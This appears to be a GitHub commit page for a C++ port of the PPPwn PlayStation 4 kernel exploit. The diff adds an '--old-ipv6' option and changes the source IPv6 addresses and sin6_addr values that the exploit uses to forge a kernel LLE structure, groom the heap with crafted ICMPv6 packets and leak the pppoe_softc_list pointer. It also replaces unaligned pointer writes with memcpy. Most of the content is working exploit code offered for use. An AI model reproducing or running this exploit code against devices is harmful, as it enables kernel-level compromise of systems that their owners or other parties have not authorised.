Skip to content

Commit 37b03c8

Browse files
authored
Merge branch 'xfangfang:main' into main
2 parents b4f1b1b + abb5159 commit 37b03c8

File tree

5 files changed

+34
-12
lines changed

5 files changed

+34
-12
lines changed

CMakeLists.txt

+2-2
Original file line numberDiff line numberDiff line change
@@ -169,8 +169,8 @@ if (BUILD_CLI)
169169
add_custom_command(
170170
OUTPUT ${CMAKE_BINARY_DIR}/static.c
171171
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
172-
COMMAND ${ZIG} cc -o ${CMAKE_BINARY_DIR}/pack ${mongoose_SOURCE_DIR}/test/pack.c
173-
COMMAND ${CMAKE_BINARY_DIR}/pack web/*.html web/*.ttf > ${CMAKE_BINARY_DIR}/static.c
172+
COMMAND ${ZIG} cc ${CMAKE_C_FLAGS} -o ${CMAKE_BINARY_DIR}/pack ${mongoose_SOURCE_DIR}/test/pack.c
173+
COMMAND ${CMAKE_BINARY_DIR}/pack web/index.html web/IBMPlexMono-Regular.ttf > ${CMAKE_BINARY_DIR}/static.c
174174
DEPENDS web/index.html
175175
)
176176

README.md

+1
Original file line numberDiff line numberDiff line change
@@ -84,6 +84,7 @@ pppwn --interface en0 --fw 1100 --stage1 "stage1.bin" --stage2 "stage2.bin" --ti
8484
- `-a` `--auto-retry`: automatically retry when fails or timeout
8585
- `-nw` `--no-wait-padi`: don't wait one more [PADI](https://en.wikipedia.org/wiki/Point-to-Point_Protocol_over_Ethernet#Client_to_server:_Initiation_(PADI)) before starting the exploit
8686
- `-rs` `--real-sleep`: use CPU for more precise sleep time (Only used when execution speed is too slow)
87+
- `-old` `--old-ipv6`: use previous IPv6 address to exploit (Only used when the exploit fails)
8788
- `--web`: use the web interface
8889
- `--url`: the url of the web interface (default: `0.0.0.0:7796`)
8990

include/exploit.h

+3
Original file line numberDiff line numberDiff line change
@@ -89,6 +89,8 @@ class Exploit {
8989

9090
void setRealSleep(bool sleep);
9191

92+
void setOldIpv6(bool old);
93+
9294
void closeInterface();
9395

9496
void updateSourceMac(uint64_t value);
@@ -140,6 +142,7 @@ class Exploit {
140142
bool auto_retry{};
141143
bool wait_padi{};
142144
bool real_sleep{};
145+
bool old_ipv6{};
143146
int timeout{};
144147
int wait_after_pin{1};
145148
int groom_delay{4};

src/exploit.cpp

+24-10
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
#include <iostream>
22
#include <sstream>
3+
#include <cstring>
34

45
#include <IPv6Layer.h>
56
#include <IPv4Layer.h>
@@ -50,12 +51,18 @@
5051

5152
const static std::string SOURCE_MAC = "41:41:41:41:41:41";
5253
const static std::string SOURCE_IPV4 = "41.41.41.41";
53-
const static std::string SOURCE_IPV6 = "fe80::9f9f:41ff:9f9f:41ff";
54+
const static std::string SOURCE_IPV6_1 = "fe80::4141:4141:4141:4141";
55+
const static std::string SOURCE_IPV6_2 = "fe80::9f9f:41ff:9f9f:41ff";
56+
const static uint64_t SIN6_ADDR_1 = 0x4141414141414141;
57+
const static uint64_t SIN6_ADDR_2 = 0x9f9f41ff9f9f41ff;
5458

5559
const static std::string TARGET_IPV4 = "42.42.42.42";
5660

5761
const static std::string BPF_FILTER = "((ip6) || (pppoed) || (pppoes && !ip))";
5862

63+
static std::string SOURCE_IPV6 = SOURCE_IPV6_2;
64+
static uint64_t SIN6_ADDR = SIN6_ADDR_2;
65+
5966
struct Cookie {
6067
pcpp::Packet packet;
6168
};
@@ -81,11 +88,11 @@ struct Cookie {
8188
#define htole16
8289
#endif
8390

84-
#define V64BE(list, index, data) (*(uint64_t *) &(list)[index]) = htobe64(data)
85-
#define V64(list, index, data) (*(uint64_t *) &(list)[index]) = htole64(data)
86-
#define V32(list, index, data) (*(uint32_t *) &(list)[index]) = htole32(data)
87-
#define V16(list, index, data) (*(uint16_t *) &(list)[index]) = htole16(data)
88-
#define V8(list, index, data) (*(uint8_t *) &(list)[index]) = data
91+
#define V64BE(list, index, data) {uint64_t temp = htobe64(data); std::memcpy(&(list)[index], &temp, sizeof(uint64_t));}
92+
#define V64(list, index, data) {uint64_t temp = htole64(data); std::memcpy(&(list)[index], &temp, sizeof(uint64_t));}
93+
#define V32(list, index, data) {uint32_t temp = htole32(data); std::memcpy(&(list)[index], &temp, sizeof(uint32_t));}
94+
#define V16(list, index, data) {uint16_t temp = htole16(data); std::memcpy(&(list)[index], &temp, sizeof(uint16_t));}
95+
#define V8(list, index, data) {uint8_t temp = data; std::memcpy(&(list)[index], &temp, sizeof(uint8_t));}
8996

9097
#define CHECK_RET(value) { int ret = (value); if(ret != RETURN_SUCCESS) return ret;}
9198
#define CHECK_RUNNING() if (!running) return RETURN_STOP
@@ -180,6 +187,12 @@ void Exploit::setRealSleep(bool sleep) {
180187
this->real_sleep = sleep;
181188
}
182189

190+
void Exploit::setOldIpv6(bool old) {
191+
this->old_ipv6 = old;
192+
SOURCE_IPV6 = old ? SOURCE_IPV6_1 : SOURCE_IPV6_2;
193+
SIN6_ADDR = old ? SIN6_ADDR_1 : SIN6_ADDR_2;
194+
}
195+
183196
void Exploit::setTimeout(int value) {
184197
this->timeout = value;
185198
}
@@ -550,7 +563,7 @@ std::vector<uint8_t> Exploit::build_fake_lle(Exploit *self) {
550563
V32(fake_lle, 0xC4, 0); // sin6_flowinfo
551564
// sin6_addr
552565
V64BE(fake_lle, 0xC8, 0xfe80000100000000);
553-
V64BE(fake_lle, 0xD0, 0x9f9f41ff9f9f41ff);
566+
V64BE(fake_lle, 0xD0, SIN6_ADDR);
554567
V32(fake_lle, 0xD8, 0); // sin6_scope_id
555568

556569
// pad
@@ -737,7 +750,7 @@ int Exploit::stage0() {
737750
}
738751

739752
std::stringstream sourceIpv6;
740-
sourceIpv6 << "fe80::" << std::setfill('0') << std::setw(4) << std::hex << i << ":41ff:9f9f:41ff";
753+
sourceIpv6 << "fe80::" << std::setfill('0') << std::setw(4) << std::hex << i << SOURCE_IPV6.substr(10);
741754
{
742755
auto &&packet = PacketBuilder::icmpv6Echo(this->source_mac, this->target_mac,
743756
pcpp::IPv6Address(sourceIpv6.str()), this->target_ipv6);
@@ -860,7 +873,7 @@ int Exploit::stage1() {
860873

861874
sourceIpv6.clear();
862875
sourceIpv6.str("");
863-
sourceIpv6 << "fe80::" << std::setfill('0') << std::setw(4) << std::hex << i << ":41ff:9f9f:41ff";
876+
sourceIpv6 << "fe80::" << std::setfill('0') << std::setw(4) << std::hex << i << SOURCE_IPV6.substr(10);
864877

865878
{
866879
auto &&packet = PacketBuilder::icmpv6Echo(this->source_mac, this->target_mac,
@@ -925,7 +938,8 @@ int Exploit::stage2() {
925938
if (option[0] != 1) return false; // type 1 is ICMPv6NDOptSrcLLAddr
926939
if (option[1] > 1) {
927940
auto *self = (Exploit *) cookie;
928-
self->pppoe_softc_list = htole64(*(uint64_t * )(option + 3));
941+
std::memcpy(&self->pppoe_softc_list, option + 3, sizeof(uint64_t));
942+
self->pppoe_softc_list = htole64(self->pppoe_softc_list);
929943
return true; // length > 1
930944
}
931945
return false;

src/main.cpp

+4
Original file line numberDiff line numberDiff line change
@@ -126,6 +126,7 @@ int main(int argc, char *argv[]) {
126126
bool no_wait_padi = false;
127127
bool web_page = false;
128128
bool real_sleep = false;
129+
bool old_ipv6 = false;
129130

130131
auto cli = (
131132
("network interface" % required("-i", "--interface") & value("interface", interface), \
@@ -142,6 +143,7 @@ int main(int argc, char *argv[]) {
142143
option("-bs", "--buffer-size") & integer("bytes", buffer_size), \
143144
"automatically retry when fails or timeout" % option("-a", "--auto-retry").set(retry), \
144145
"don't wait one more PADI before starting" % option("-nw", "--no-wait-padi").set(no_wait_padi), \
146+
"Using the old ipv6 to exploit" % option("-old", "--old-ipv6").set(old_ipv6), \
145147
"Use CPU for more precise sleep time (Only used when execution speed is too slow)" %
146148
option("-rs", "--real-sleep").set(real_sleep), \
147149
"start a web page" % option("--web").set(web_page), \
@@ -165,6 +167,7 @@ int main(int argc, char *argv[]) {
165167

166168
std::cout << "[+] args: interface=" << interface << " fw=" << fw << " stage1=" << stage1 << " stage2=" << stage2
167169
<< " timeout=" << timeout << " wait-after-pin=" << wait_after_pin << " groom-delay=" << groom_delay
170+
<< " buffer-size=" << buffer_size << " old-ipv6=" << (old_ipv6 ? "on" : "off")
168171
<< " auto-retry=" << (retry ? "on" : "off") << " no-wait-padi=" << (no_wait_padi ? "on" : "off")
169172
<< " real_sleep=" << (real_sleep ? "on" : "off")
170173
<< std::endl;
@@ -183,6 +186,7 @@ int main(int argc, char *argv[]) {
183186
exploit->setStage2(std::move(stage2_data));
184187
exploit->setTimeout(timeout);
185188
exploit->setWaitPADI(!no_wait_padi);
189+
exploit->setOldIpv6(old_ipv6);
186190
exploit->setGroomDelay(groom_delay);
187191
exploit->setWaitAfterPin(wait_after_pin);
188192
exploit->setAutoRetry(retry);

0 commit comments

Comments
 (0)